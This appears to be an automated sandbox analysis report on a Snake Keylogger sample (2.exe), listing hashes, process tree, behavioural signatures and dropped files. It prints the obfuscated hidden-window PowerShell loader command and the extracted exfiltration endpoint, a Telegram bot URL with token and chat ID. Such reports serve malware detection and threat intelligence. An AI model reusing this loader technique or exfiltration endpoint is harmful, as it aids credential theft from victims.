Analysis
- max time kernel
93s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
15/11/2024, 11:44
Static task
static1
Behavioral task
behavioral1
Sample
2.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
2.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Chromonemal.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Chromonemal.ps1
Resource
win10v2004-20241007-en
General
- Target 2.exe
- Size 682KB
- Sample241115-nwdfqasphy
- SHA256 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
- MD5 6e62c2f3acd34a6cf4eee9f493ceb3a1
- SHA1 dc025bd9290f738c1870f7d9861da95af549dfd0
- SHA512 20beb4e7572a1026603399676dc55573105f2359d418aa504f73a8486337b1843ab9ea8db6ccd3bd11b05ff2686b3cefdadbbef321d7da546da9a733b7c626e9
- SSDEEP 12288:G0mnA1zxuAL9BFGFx6Dpu/ay+xSnliR6r9t3DSDb4NF:uA1zxumVoIDIikcu3ewb
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
snakekeylogger
-
https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 1 IoCs
resource yara_rule behavioral2/memory/4920-65-0x0000000000C00000-0x0000000001E54000-memory.dmp family_snakekeylogger - Snakekeylogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2796 powershell.exe - Blocklisted process makes network request 1 IoCs
flow pid Process 32 4920 msiexec.exe - Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4920 msiexec.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2796 powershell.exe 4920 msiexec.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\propangas.lem 2.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 4940 4920 WerFault.exe 95 - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2796 powershell.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeIncreaseQuotaPrivilege 2796 powershell.exe Token: SeSecurityPrivilege 2796 powershell.exe Token: SeTakeOwnershipPrivilege 2796 powershell.exe Token: SeLoadDriverPrivilege 2796 powershell.exe Token: SeSystemProfilePrivilege 2796 powershell.exe Token: SeSystemtimePrivilege 2796 powershell.exe Token: SeProfSingleProcessPrivilege 2796 powershell.exe Token: SeIncBasePriorityPrivilege 2796 powershell.exe Token: SeCreatePagefilePrivilege 2796 powershell.exe Token: SeBackupPrivilege 2796 powershell.exe Token: SeRestorePrivilege 2796 powershell.exe Token: SeShutdownPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2796 powershell.exe Token: SeSystemEnvironmentPrivilege 2796 powershell.exe Token: SeRemoteShutdownPrivilege 2796 powershell.exe Token: SeUndockPrivilege 2796 powershell.exe Token: SeManageVolumePrivilege 2796 powershell.exe Token: 33 2796 powershell.exe Token: 34 2796 powershell.exe Token: 35 2796 powershell.exe Token: 36 2796 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3704 wrote to memory of 2796 3704 2.exe 85 PID 3704 wrote to memory of 2796 3704 2.exe 85 PID 3704 wrote to memory of 2796 3704 2.exe 85 PID 2796 wrote to memory of 4920 2796 powershell.exe 95 PID 2796 wrote to memory of 4920 2796 powershell.exe 95 PID 2796 wrote to memory of 4920 2796 powershell.exe 95 PID 2796 wrote to memory of 4920 2796 powershell.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:4920 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 15284⤵
- Program crash
PID:4940
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4920 -ip 49201⤵PID:608
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg
- Size 53KB
- SHA256 73a4a59e35863571281154449961ab2a81ff47c3baa341d7de100287a0043274
- MD5 65171ebd8fd8c699770edee943ff09f1
- SHA1 dc17dd3e384f06c03015b136cc068c2973673981
- SHA512 f0f1c8a7dfa94feb7fc7e170ad4abfde9a4bc7d7af1a5c4cd763ca93484256a6a37fd5fb515345987af8daaedd812cfb3e0f5944ccdb0ee4983a0a71da53a144
- SSDEEP 1536:02be3lIq1gxBdV5jNQpNwrZHHoVmbclOHoEah/B66z:0OEj1EV5oYdIV2cXhwk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Stikprvestandardafvigelsens.Lgn
- Size 330KB
- SHA256 222afe763d83a4f8e09f820bf1dc20b8aef212ec7503e07d60941f4661f4fc9b
- MD5 b861cf3da394f7f9973e55ad07eedc61
- SHA1 08f5a734f3cf625e52abf462216fba82be10a430
- SHA512 41203f0af9147cf432c4ed85670f2f2d422cc49cbf67720bf69de97e16697f813c40cbbbf50500745eedd925aca2c3411007303d160b3e52b4fe71c2084f471d
- SSDEEP 6144:NlElC5tKcXxuK04kPMQ9WREvpzYARElauLkIPihckYWK9:clC5tZXhaMQ9OEviP4MR759
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1iu3b1i.1g0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512